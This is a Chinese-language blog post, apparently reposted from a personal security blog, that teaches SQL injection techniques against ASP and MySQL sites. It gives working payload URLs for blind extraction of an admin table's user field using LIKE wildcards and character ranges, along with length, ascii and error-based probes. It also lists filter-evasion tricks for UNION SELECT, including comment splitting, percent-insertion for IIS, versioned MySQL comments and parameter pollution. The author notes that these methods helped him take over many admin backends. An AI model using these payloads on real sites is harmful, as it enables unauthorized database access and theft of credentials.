写本文的目的在于记录而且交流,欢迎各类大牛批评指正
传统的检测注射方法是经过:
and 1=1 , and 1=2 来判断真假从而判断是否过滤彻底,固然,也有 or 1=2,or 1=1,或者 id=1+1 或id=2-1,等等
本文的目的不是评判谁的检测方法实用,只是向你们推荐一些新的注射方式,可能早有人说起了
首先说判断:
Null值相信你们不陌生吧,可这么用: and 1 is null,and 1 is not null
或: and 2<=3
其实,不少人习惯性的用=号来判断了,可是,如: >= ,<= ,is null,is not null,<>等等 均可用于判断
而对于blind sqlinjection,通常的注射的方法是:
ascii(substring(password,1,1))=56,或者是 ord(mid(password,1,1))=56 等等
而在sql中有个检索函数like,,咱们能够经过table.column来直接锁定字段,这样能够直接抛弃select,from,where等关键字,避免过滤,看看'_'占位符的演示:)
http://url/1.asp?string=wooden' and admin.user like '_' and '1'='1 false
http://url/1.asp?string=wooden' and admin.user like '__' and '1'='1 false
...
http://url/1.asp?string=wooden' and admin.user like '_____' and '1'='1 true
这样能够直接精确字段,5个占位符=5个字段,而在like函数中咱们能够经过 ‘-’符号来检索数据范围,例如:
http://url/1.asp?string=wooden' and admin.user like '[0-9]____' and '1'='1 false
http://url/1.asp?string=wooden' and admin.user like '[a-z]____' and '1'='1 true
http://url/1.asp?string=wooden' and admin.user like '[a-h]____' and '1'='1 true
http://url/1.asp?string=wooden' and admin.user like '[a-b]____' and '1'='1 true
http://url/1.asp?string=wooden' and admin.user like 'b____' and '1'='1 false
http://url/1.asp?string=wooden' and admin.user like 'a____' and '1'='1 true
所以,能够肯定admin表中user字段的第一个是a,后面的原理相同,经过范围取值来直接爆破数据
还记得sum函数吧?能够直接套用来肯定数据类型
http://url/1.asp?string=wooden' and (sum(admin.user))=1 and '1'='1
固然,也能够利用sql的一些内置函数:
http://url/1.asp?string=wooden' and len(admin.user)>4 and '1'='1
http://url/1.asp?string=wooden' and ascii(substring(admin.user,1,1))>100 and '1'='1
同时,在witth error模式中能够直接经过' and (admin.user)=0 来获取数据
可是此法有一鸡肋,就是只能针对当前查询语句的表和字段,因此通常比较适合后台登录口的注射,配合上 having 1=1 (number) 或 d'having '1'='1 (string),曾帮我拿下很多后台:)
而对于mysql 有一些新型的函数也可用,例如:
find_in_set 例: find_in_set('56',ascii(substr(password,1,1)))=1
strcmp 例: strcmp(left('password',1), 0x56) = 1
再说说union,对于常规的注射,咱们能够union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4
对于iis 能够经过%来绕过 例如:union selec%t 1,2,3,4-%--
对于mysql却能够:union select 1&id=2,3&id=4
ok 当过滤select时,union/**//*!select*/1,2,3,4或union/&&/s/**/elec/**/t/**/1,2,3,4
甚至还能够union/**//*!5100select*/1&id=2,3&id=4 //5100为mysql的版本号
同时当语句是多查询且没法注释后面语句时:
例如 slect * from table where id = 1 and name = xxx ,咱们可这么作:
id=1+union/*&name=*/select+1,2
在union注射中,必须让结果为flase,才可执行union,好比:
and 1=2 union select xxxxxx
能够这么作:id=wooden'/*!5100and*/ 1 is null union /*!5100select*/ xxxxx 这样既能够饶过大部分黑名单机制
本文来源于独自等待博客:http://www.waitalone.cn/ 原文地址:http://www.waitalone.cn/post/926.html